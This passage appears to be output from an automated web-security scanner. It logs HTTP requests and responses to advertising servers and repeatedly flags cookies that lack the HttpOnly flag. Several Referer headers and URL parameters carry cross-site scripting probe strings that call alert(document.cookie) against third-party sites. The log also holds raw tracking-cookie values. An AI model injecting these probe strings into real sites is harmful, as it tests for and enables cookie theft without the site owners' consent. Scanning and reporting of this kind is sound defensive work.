GET /adserver/CntImprImg?type=msg&p=MTUtMTUwLTE0Ni0xMTEtOTgtOTAtMjUwLTE2NC0yMi00OC01Ny0xMjAtMjM1LTY0LTE5LTI0NC05Ny0xMDAtMTY4LTE5My00OC0xNTgtMjUwLTE1Mi0zNS0yMjctMjAyLTI0Ny00NC0xNjEtMTQxLTE5My0yMS0zNC0yMjgtMjEtMjktMTAzLTE2MC0xNDUtNDktMTY0LTU1LTM1LTM2LTY2LTI0NC0xODMtMTMwLTMtMTAwLTE0MC0zNC0yMTItMTQ3LTE4MC0xOTItNDUtMTAwLTIwMC0xNy0xNzItMjUxLTY3LTIxOC0xNjktMTY5LTE5NC0xODEtOTktMzktNjYtMTQ0LTgtMjQtMTQtMTgyLTgxLTEzLTI2&purl=http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html&r=1998 HTTP/1.1 Host: ads.doclix.com Proxy-Connection: keep-alive Referer: http://www.x64bitdownload.com/downloads/t-64-bit-ozum-download-lhtivuds.html Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 14:54:42 GMT Cache-Control: no-store, no-cache, must-revalidate Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT P3P: CP="NOI PSA PSD OUR IND UNI NAV DEM STA OTC",policyref="http://track.doclix.com/w3c/p3p.xml" Set-Cookie: daily_freq_cap=WzI0LTEtMjAxMXwzNDE0fDFd; Domain=.doclix.com; Expires=Tue, 24-Jan-2012 14:54:42 GMT; Path=/ Set-Cookie: weekly_freq_cap=WzUtMjAxMXwzNDE0fDFd; Domain=.doclix.com; Expires=Tue, 24-Jan-2012 14:54:42 GMT; Path=/ Set-Cookie: monthly_freq_cap=WzEtMjAxMXwzNDE0fDFd; Domain=.doclix.com; Expires=Tue, 24-Jan-2012 14:54:42 GMT; Path=/ ETag: W/"137-1288970405000" Last-Modified: Fri, 05 Nov 2010 15:20:05 GMT Content-Type: image/png Vary: Accept-Encoding Connection: close Content-Length: 137
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /PortalServe/?pid=1149217T71620101123190930&flash=10&time=1|19:35|-6&redir=http://r.turn.com/r/tpclick/id/pNyBDcYPcXUfRwEAbAABAA/3c/http%3A%2F%2Fadclick.g.doubleclick.net%2Faclk%3Fsa%3Dl%26ai%3DBUDXq8Cg-TezoAqX6lAfajZWFA4200M4B9bmdvRSFp5HyFwAQARgBIAA4AVCAx-HEBGDJhqOH1KOAEIIBF2NhLXB1Yi0xMTg5MzcwNDA4OTk4NTU1sgEOam9vbWxhY29kZS5vcme6AQk3Mjh4OTBfYXPIAQnaATJodHRwOi8vam9vbWxhY29kZS5vcmcvZ2YvcHJvamVjdC9qb29tbGEvcmVwb3J0aW5nL5gCggHAAgTIArWc1RHgAgDqAhdKb29tbGFfSm9vbWxhY29kZUZvb3RlcqgDAegD8gPoA6gG6AM16AO5AugD2gX1AwAAAET1AwIAAADgBAE%26num%3D1%26sig%3DAGiWqtzBe5EVxfoGXmcp6PQnZKB63g35FA%26client%3Dca-pub-1189370408998555%26adurl%3D/url/$CTURL$&pos=s&r=0.4512364394031465 HTTP/1.1 Host: ads.pointroll.com Proxy-Connection: keep-alive Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: PRID=7A1A2F29-D5D5-4308-B63E-BE3AD3D2AA86; PRbu=EmUrRNwjG; PRvt=CDJOmEmUrRNwjGACOBBeJOJEmU0MxHpcAAkBAeJHsEmdTjgu6i!DSBBe; PRgo=BBBAAsJvBBVBF4FR; PRimp=D5990400-1924-8254-0209-118000C40100; PRca=|AJfG*725:1|AJi6*27:1|AJpL*13875:4|AJn8*424:2|AJpe*396:1|#; PRcp=|AJfGAALh:1|AJi6AAA1:1|AJpLADbn:4|AJn8AAGq:2|AJpeAAGY:1|#; PRpl=|EjjU:1|En2h:1|Esyc:2|Esyd:2|EqXr:2|Er3c:1|#; PRcr=|FsPT:1|FudH:1|FyDo:2|FyKT:2|Fwuw:2|Fyh9:1|#; PRpc=|EjjUFsPT:1|En2hFudH:1|EsycFyDo:2|EsydFyKT:2|EqXrFwuw:2|Er3cFyh9:1|#
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /adserver/ako?activate&csid=K04491 HTTP/1.1 Host: ads.revsci.net Proxy-Connection: keep-alive Referer: http://www.autobytel.com/x22 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NETID01=TSeEzxMBEwoAABzXtKIAAAAt; NETSEGS_K05540=0105974ea67d21e1&K05540&0&4d55a964&0&&4d2fe81e&4c5cffb70704da9ab1f721e8ae18383d; rsi_us_1000000=pUMd5U+DfxIU7WwyrNQb2zsSFn/hJiW258mwCPCWmcgin7Ykjm72mb7cpStB8YF3kI7TO6x7AobBweYSl9GZ0nXyMV0lFSlMa1jHrq+n9QT6FijETfViMfJgDyuBz0n8Hk28yO5p/fRuPzGtQPRkyu5Bc6axhObjT2cysIx+D4/NrHkSZpo4vk8w5l61U5SqdOiUvEeCZ5WrSLwN+Xq5aEPZSO2oX3vsODweKrIMy8p+ldR7d76u4sEt6RgWsfSNxtXQ1lt23lO4GrGh25UY7nMoVnrr5iAvFRtg24ViPVDowzcxt8eRODdcZiwbVc2np3WjZtoAJ1aO71nPtckWRa8VCRDcVPa+cMxvGtmbDEBHIOMyi8IUEWK0av0+4ojr1uh/umPt1bAaq4aUO4z8oENY7vBTaZSyETfDH8dVtshVbMqgt6mXZyMdxxn2bQSZVCIbYsSr7E1B995sZq2f+pJ2+M8K7OUr/r3a9SLKcxQ+lAR8cX83159adv1KgRuaALpGKRFQDil4cYbegCYXB33l6nFeV9R2FwBG2izy3Gm5I+NoOBfFFGboa7p0gM1gg8TrrRL1LoRP21v8OErLvjC/xINg6T9J1c15UckQKoakfMW6lVoLFukvaGPQXMQt3IlOXJncY9VGQY3BI0ThPnKoHx//VhhBBOENVxJVlKoRta67M24YVtuqylurRv9JKzlEWoYz0la7gmQzl6pSfsGHo6jvv6og5GuUjBC/UfRyPmP2YD/Z6MLNJ5s1pn32pCXBNuGqM/MWn0ix3FgHGlWpSEpv7Ru3AkJmVgjGyeuRwLBzeHzpYe8hv8Y=; rsi_segs_1000000=pUPFfUnF7gMUVVNGyQq6Tc2UE03EygBbRXVdvuFY1BA6MUfyIuV86Lli0TAjp7vTbarnvaHN9T2ow1lTs80IFRatyDifWyk9mf1Kh7aRP1Ys1ciYX3r+3g5rrIF04H4FAiutUjgMss6NEqGMIeSYHxakEN/DRePx1bwHrbhXzJD91WqT8N1pQYXg+GpVj1vtVjK1+AiwL4ScNYq0oKT0cw==; NETSEGS_J08778=0105974ea67d21e1&J08778&0&4d5ae6ff&0&&4d350f93&4c5cffb70704da9ab1f721e8ae18383d; rtc_0=MLuBa40HAV7DEFZEdMKVl168Ne30F2LgIMllRLOj2CnyxLwSlYtMGPNUFv6UJ75S23vXs9VpSODtSfbRXbKeKsIfm/9vVCVRHq5E9dPOyJm5LyxhQ0JLpdlLRkRi1AuT5G8QYh4GpDTxObx7HqsmwclpQmx8PITjRXvTVnlGDfiP+KG3TuYhIgfdoMdRUNcxsYfj/XLnOWpzH6FblA==; udm_0=MLvv8iEJPj5n5t4Ltt9EX/C7xZnl5hjzDNVGFWEzjcOGPSjwQeqblsz4NQqc0gDPHJGwQqP04Gl/fjd0NwxKE04RBfv6QDvz32B6fwU5Fu34L666BG4fi9tTCQB7HzLjsLqPpe/ZNv6p6Wv6E4ZBUtNIPMZXaK38wui6tKY7SLyOhMMPSJKHQjAq7iVOFpHQSiIVffpJbnNSOVw3KAaxc6ZIuNW0TwoNno2N7hLN8h5r0ETnNH1Wumo6MsJMHy6rUG0M0AVwc0C8t2sgjHPROMA7VMvEXCMRiwynjB1TRk/+PVfpEc1tHyJeAqnj0jneawiO5aIsZWU/7yPlu5ciMTLE8+z5XpS+HdjIJZiKw1Jd4rWuHlcWhdMmo0w4BgvLrRDX5hKPVKrZaofBbsFrLK+YUHM4qv2l8zWxk2A0eFUUwPQGjp4RSLamucNFvJcwuLIA/C4N0vTadc1XEiqHWN9m59nxOVRc25CL28bCg9D7XIK8eQGl39rH79pq83w2Y7yTdp2vq/JQyywuUIosSaihXjhZsv5zVjsGq0ous0noNBGVBibouZ6BUldR6RYnFDGvwwEsGVJSDLRRNx/p1i5vF0c5w+tOkuGmoQgKCEah+BLI3eY4IHERUjQHegjRiYhL18Bf95kytJzUyG1CQvSeHJOczvbE8rlrMExy1YkvWXbw0EkxMvneLlRouFMzUVJFJTrqMPWcsk2yKZjYh/ijo2o/CmAOTbQ5kX5IdSZG+Myf0KmUsYyDn3ob6Bqd0BC6gho3A+TkpwR3LAXJV+jj4sbj58smKFZBQAZVL97B2AHIadTbzX24S5gt3hJk6ySr2S1M1lWOdAtajdXelKAOgeKm2wNtK/Wy58LDt1SOkNjbuNw5upFoMJrUEnAHA3Gw0Zpesn5sqwSKrfo8m1ARoDsiZ17yITyYdiQgFv4=
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: policyref="http://js.revsci.net/w3c/rsip3p.xml", CP="NON PSA PSD IVA IVD OTP SAM IND UNI PUR COM NAV INT DEM CNT STA PRE OTC HEA" Cache-Control: no-cache Pragma: no-cache Expires: Thu, 01 Jan 1970 00:00:00 GMT Set-Cookie: rsi_us_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/adserver Set-Cookie: rsi_us_1000000=; Domain=.revsci.net; Expires=Thu, 01-Jan-1970 00:00:10 GMT; Path=/ Set-Cookie: rsi_us_1000000=pUMd5U+DfxIU7WxyqNQb+zH1s17HozKcX9zb1nGBmx1V/jUVnfeldtQjURXj62Ij5rwYZ9wJ1NqZFDtPnA/ai2kzB4ZWck4RlBED9tHPfALbjG5/h+EbQvknzyyRcrItMoJol6PXNTl/OKv1HLyRjqxPdUMPuhTeFrZcyO8gAu7DnkKRicwv26rJbnB2YkIMVwnyQe25v0bF8cRbuIDVa248qh0eMMOfyR/FXEsxPsbCZDweM7dbepZIWR3dtd+dVimkWAYQoZALNR+V/guGHuxfyVd2gEOLAGwOQllMhFXpg30hoPoVfJhXFUqiQNm3BzjM0qe3oej3+PsACj2CU61hVKeF2HNY9k2ol1ixdYUyhZXc+csbq2QEngScG8Fyk28f3CtFfcgafRot2T5UJdsjwU///O8q5QLpNWARM1w/lHLi6xhWyV7RPg2RTuUehxIA5X1CDzhakTy4gchBqLYpsImsUgwLdediq5xOCZUg5jzSYFUo7zRvJUElYuphp8OzQ1AQryrdIBXfr2Q7k0pOTQtw0Sya6irERSdIDFN9xHQEpu/KZi/VfFED67ADmmemfMMNlbnugnmTr6LTfKuLWuw4QB8ULOl4ICmXLj6pBD/5tNcSMJWTFHOixo4IK0vkutnkoKUs/dGDMVzfYfICMrfqYm5ooaMqvnmJ2DAzQJTYRF4vDA6NPTQcbJifGlogyZA5q8lXRY25R+s5rcSx1LACJzBJtIrHnrtl8SXouSQzf3kTOxNhVDItJBmmUFdwuBsLv9W3DOHJYpGPu7/HeVRht67vcq4vWMq3VbvT2WCZWCAVmSFQIlAkZlXJXT993g==; Domain=.revsci.net; Expires=Fri, 16-Jan-2043 21:06:44 GMT; Path=/ Content-Type: application/x-javascript;charset=ISO-8859-1 Vary: Accept-Encoding Date: Mon, 24 Jan 2011 21:06:44 GMT Content-Length: 822
function rsi_img(p,u,c){if(u.indexOf(location.protocol)==0){var i=new Image(2,3);if(c){i.onload=c;} i.src=u;p[p.length]=i;}} function rsi_simg(p,s,i){if(i<s.length){rsi_img(p,s[i],function(){rsi_sim ...[SNIP]...
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /RealMedia/ads/adstream_jx.ads/www.traderonline.com/traderonline/1888828924@Right1? HTTP/1.1 Host: ads.traderonline.com Proxy-Connection: keep-alive Referer: http://www.traderonline.com/x22ec89d%3Cscript%3Ealert(document.cookie)%3C/script%3E93a08fbf703 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 15:58:34 GMT Server: Apache/2.0.52 (Red Hat) Set-Cookie: OAX=rcHW8009oaoAAx1V; expires=Thu, 31-Dec-2020 23:59:59 GMT; path=/; domain=.traderonline.com P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 475 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09499e3845525d5f4f58455e445a4a423660;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:58:39 GMT Server: Apache/2.0.52 (Red Hat) P3P: CP="NON NID PSAa PSDa OUR IND UNI COM NAV STA",policyref="/w3c/p3p.xml" Content-Length: 489 Content-Type: application/x-javascript Set-Cookie: NSC_d17efm_qppm_iuuq=ffffffff09419e3845525d5f4f58455e445a4a423660;path=/
The following cookie was issued by the application and does not have the HttpOnly flag set:
autotrdr_exclude=autotrdr_exclude;expires=Thu, 24 Feb 2011 2:19:49 GMT;domain=adserver.adtechus.com;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /bind?ckey1=autotrdr_exclude;cvalue1=autotrdr_exclude;expiresDays=30;adct=text/html;misc=123 HTTP/1.1 Host: adserver.adtechus.com Proxy-Connection: keep-alive Referer: http://fls.doubleclick.net/activityi;src=1829700;type=homep704;cat=autot851;ord=9811137525830.418? Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: JEB2=4D30B9576E651A440C6EAF39F001851E; autotrdr_exclude=autotrdr_exclude
Response
HTTP/1.0 200 OK Connection: close P3P: CP="NOI DSP DEVa OUR BUS UNI COM NAV INT" Content-Type: text/html Content-Length: 1 Set-Cookie: autotrdr_exclude=autotrdr_exclude;expires=Thu, 24 Feb 2011 2:19:49 GMT;domain=adserver.adtechus.com;path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tase/ad?AdBoxType=16&url=HI_ATC_Q4_HP&inv=autotrader&adId=t_736917&esc=0&rnd=838005&rcu=http://adserving.autotrader.com/event.ng/Type=click&FlightID=850600&AdID=2117284&TargetID=216438&ASeg=&AMod=&Segments=16718,17659,19280,19287,37200,41196,42568,51045,53802,93061,97293,107723,108064,112527,113656,116342,126077,132791,134700,140537,141190,142846,144937,146126,146297,146313,148888,149643&Targets=259945,259951,259957,259963,259969,259975,259981,155805,272133,216438,238656,262343,215180,217333,267376,267611,279401,271887,272977&Values=307,310,320,325,1168,1626,1638,1686,1720,1969,2016,2760,2796,2799,4690,7532,10209,10274,10433,11866,19959,34058,35455,36491,36879,37550,39460,39471,42434,42492,42493,43920&RawValues=PAGE_INSTANCEID%2C095352382072745203%2CTIMEID%2C1295921986&Redirect= HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5 User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295889980185_145363176_ap2100_int|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295921988188_58040565_as2108_imp|285#1295921988188_58040565_as2108_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 02:19:48 GMT; Path=/tase Content-Type: text/html;charset=UTF-8 Vary: Accept-Encoding Date: Tue, 25 Jan 2011 02:19:47 GMT Content-Length: 18077
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /tase/redir/1295921988188_58040565_as2108_imp/vew?q=H4sIAAAAAAAAAFWPPW7DMAyFr0KKlCii2jl56BoYOkIB_wjp6CEpPDTJcXqoXqa0kRrtQOC9xw984Pf89bKO5QSUgw-QZEzd04kwCf26zJn4cJpV0kGmpDHlv075cJAZDhJUkVNvY0Fb5uKJEyESpETWxi3wHsiqTtrwsQUh7aGQ2NvQ1nIKXs0M2LnQQEC7AALtnwQEwuh3O9jWQrQLFIi9rdf_LZUVI7JwXUZntK6fg92G86UQAlSESrEC1pArqi_ae3m9T-22PK7WCvmrMYLkhMi2Ps5lmdu9Tcv1MtlQSNl-AMndVvZlAQAA&act=vew&idx=[0]&com=swf&rnd=1295921994463 HTTP/1.1 Host: adserver.teracent.net Proxy-Connection: keep-alive Referer: http://pcdn.tcgmsrv.net/tase/swf/toyota-inmarket/toyota_inmarket_300.swf Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: uid=MoWMI9J.4ChiO7o; imp=a$le#1295921988188_58040565_as2108_imp|285#1295921988188_58040565_as2108_imp|
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Expires: Sat, 6 May 1995 12:00:00 GMT Cache-Control: no-store, no-cache, must-revalidate Cache-Control: post-check=0, pre-check=0 Pragma: no-cache Set-Cookie: imp=a$le#1295921992907_58231589_as2103_vew|285#1295921988188_58040565_as2108_imp|; Domain=.teracent.net; Expires=Sun, 24-Jul-2011 02:19:52 GMT; Path=/tase ETag: W/"43-1259995862000" Last-Modified: Sat, 05 Dec 2009 06:51:02 GMT Content-Type: image/gif Content-Length: 43 Date: Tue, 25 Jan 2011 02:19:52 GMT
The following cookie was issued by the application and does not have the HttpOnly flag set:
BIGipServeradserving=596041738.42015.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /js.ng/adsize=1x1&site=ntl&page=homepagegeosplash?v=3.17.167500 HTTP/1.1 Host: adserving.autotrader.com Proxy-Connection: keep-alive Referer: http://www.autotrader.com/?bc4cb%22%3balert(document.cookie)//1ee177b82c=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: NGUserID=ae08625-18449-1404707754-12; v1st=BF3F7217996B123A; ATC_ID=173.193.214.243.1295884767492259; ATC_USER_ZIP=
Response
HTTP/1.1 200 OK Date: Tue, 25 Jan 2011 02:19:40 GMT Server: Apache AdServer: padsrv7002:9678:1 Cache-Control: max-age=0 Expires: Tue, 25 Jan 2011 02:19:40 GMT Content-Length: 34 Connection: close Content-Type: application/x-javascript Set-Cookie: BIGipServeradserving=596041738.42015.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /select/Login?sourceid=awo&subid=us-en-et-symh&medium=link&hl=en HTTP/1.1 Host: adwords.google.com Accept: */* Accept-Language: en User-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0) Connection: close
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /crossdomain.xml HTTP/1.1 Host: affiliate.kickapps.com Proxy-Connection: keep-alive Referer: http://serve.a-widget.com/service/getWidgetSwf.kickAction Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Response
HTTP/1.1 200 OK Server: Apache-Coyote/1.1 ETag: W/"274-1295596907000" Last-Modified: Fri, 21 Jan 2011 08:01:47 GMT Content-Type: application/xml;charset=UTF-8 Content-Length: 274 Date: Tue, 25 Jan 2011 02:23:03 GMT Set-Cookie: BIGipServerapp_server_pool=1739565248.47135.0000; path=/
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /is/r1-ads.ace.advertising.com?U=/site=772178/size=300250/u=2/bnum=49004778/hr=15/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.abbreviations.com%252Fbs.aspx%253Fst%253Db1.aspx51536%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253E7a00ceef170%2526SE%253D3%2526r%253D1&V=3-%2fmHdV%2fSxID49%2fY3rKxMK4v+7iK9zQp8Trq285f3hOfOA%2fRinTOf8SX2thSjDHleWAQBFwlhcryU%3d&I=17D7C736696B8AA&D=r1.ace.advertising.com&01AD=1& HTTP/1.1 Host: ak1.abmr.net Proxy-Connection: keep-alive Referer: http://www.abbreviations.com/bs.aspx?st=b1.aspx51536%3Cscript%3Ealert(document.cookie)%3C/script%3E7a00ceef170&SE=3&r=1 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: 01AI=2-2-B80F4175F833E42619203875B6A13D4E1441FE75A7BB1C5368154550679EAB18-CC167F5656F9E658F14A37A7A688219EBE41C044BE8EA8E25C20763073A7C846
Response
HTTP/1.1 302 Moved Temporarily Content-Length: 0 Location: http://r1-ads.ace.advertising.com/site=772178/size=300250/u=2/bnum=49004778/hr=15/hl=2/c=3/scres=5/swh=1920x1200/tile=1/f=0/r=1/optn=1/fv=10/aolexp=1/dref=http%253A%252F%252Fwww.abbreviations.com%252Fbs.aspx%253Fst%253Db1.aspx51536%25253Cscript%25253Ealert%2528document.cookie%2529%25253C%252Fscript%25253E7a00ceef170%2526SE%253D3%2526r%253D1?01AD=3dzaKJUOYWQidaSHS5y0YmSmFaXEvvd0LZvbK5g_-GSwVryO8dt0x1w&01RI=17D7C736696B8AA&01NA= Expires: Mon, 24 Jan 2011 21:08:39 GMT Cache-Control: max-age=0, no-cache, no-store Pragma: no-cache Date: Mon, 24 Jan 2011 21:08:39 GMT Connection: close Set-Cookie: 01AI=2-2-E74B5E0BA5732C35BC52F42A6AAFD162E9E3C651AE0BE96BFC6B936C6BF32537-9E7777269A9BB1AAE2C4010D7B5CF320CCEC2B7369606790ED15668E1191BC18; expires=Tue, 24-Jan-2012 21:08:39 GMT; path=/; domain=.abmr.net P3P: policyref="http://www.abmr.net/w3c/policy.xml", CP="NON DSP COR CURa ADMa DEVa OUR SAMa IND"
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
GET /pan/adlog.php?bannerid=1418&clientid=1050&zoneid=3&source=&block=43200&capping=0&cb=7ae9a84863205189b51a67916c7ad5c6 HTTP/1.1 Host: as1.whdh.com Proxy-Connection: keep-alive Referer: http://www1.whdh.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: phpAds_geoInfo=%7C%7C%7C%7C%7C%7C601.5168%7C601.5195%7C%7C%7C%7C%7Cgeoip
Response
HTTP/1.1 200 OK Date: Mon, 24 Jan 2011 21:54:26 GMT Server: Apache/2.2.3 (Red Hat) Set-Cookie2: WHDHSTR=173.193.214.243.1295906066227275; path=/ X-Powered-By: PHP/5.1.6 Pragma: no-cache Cache-Control: private, max-age=0, no-cache P3P: CP="NOI CUR ADM OUR NOR STA NID" Set-Cookie: phpAds_blockAd[1418]=1295949266; expires=Tue, 25-Jan-2011 21:54:26 GMT; path=/ Set-Cookie: phpAds_geoInfo=%7C%7C%7C%7C%7C%7C601.5168%7C601.5195%7C%7C%7C%7C%7Cgeoip; expires=Mon, 24-Jan-2011 22:09:26 GMT; path=/ Content-Length: 43 Connection: close Content-Type: image/gif
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /m/m.php/1295906131129/m.gif HTTP/1.1 Host: as2.whdh.com Proxy-Connection: keep-alive Referer: http://www1.whdh.com/ Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.
Request
GET /ads/?t=pp&px=10660&rnd=1596989115 HTTP/1.1 Host: at.amgdgt.com Proxy-Connection: keep-alive Referer: http://dm.de.mookie1.com/2/B3DM/2010DM/1596198292@x23?USNetwork/Dominos_11Q1_DXU_Opt_120 Accept: */* User-Agent: Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.10 (KHTML, like Gecko) Chrome/8.0.552.237 Safari/534.10 Accept-Encoding: gzip,deflate,sdch Accept-Language: en-US,en;q=0.8 Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3 Cookie: ID=AAAAAQAUaMxGSGTK5Wp9qxNESW3w7hCyFHoAAJFcc59Mh0I7lruTfrzkOUgAAAEtaF2gzw--; LO=AAAAAQAUTb0ojsGjTYemMhM8.wPqufZbuW0BAHVzYTt0eDs2MjM7ZGFsbGFzOzc1MjA3O3NvZnRsYXllciB0ZWNobm9sb2dpZXMgaW5jLjticm9hZGJhbmQ7MTczLjE5My4yMTQuMjQz; UA=AAAAAQAU6LV_14AmMYMgOwrAn3GlJXyBz.oDA3gBY2BgYGZg_F7OwBLYwsDwT4SB4VQyAwODOAMDo25GXH4gA2O3HwPz36VIcqJgudhrXgxMAV4MLJd_IckB9QP1xS44DzQDDHw1fjUwMDIwsOQwAi2CGBrNwAS2kmFGAesCoBzYHIbNvhAOkA8APJMd4Q--
Response
HTTP/1.1 302 Moved Temporarily Server: Apache-Coyote/1.1 Set-Cookie: UA=AAAAAQAU5FRWDkay5gNIBniL3nCP0n0K9AIDA3gBY2BgYGZg_F7OwBLYwsDwT4SB4VQyAwODOAMDo25GXH4gA2O3HwPz36VIcqJgudhrXgxMAV4MLJd_IckB9QP1xS44DzQDDHzthBoYmBgYZugzMjAyMLDkMPEzCQAZjLq7zn9zgqgBAClnGck-; Domain=.amgdgt.com; Expires=Thu, 24-Feb-2011 01:35:47 GMT; Path=/ Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache, no-store P3P: CP="CURa ADMa DEVa PSAo PSDo OUR BUS UNI PUR INT DEM STA PRE COM NAV OTC NOI DSP COR" Location: http://cdn.amgdgt.com/base/pixels/transparent.gif Content-Length: 0 Date: Tue, 25 Jan 2011 01:35:46 GMT
The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.
Request
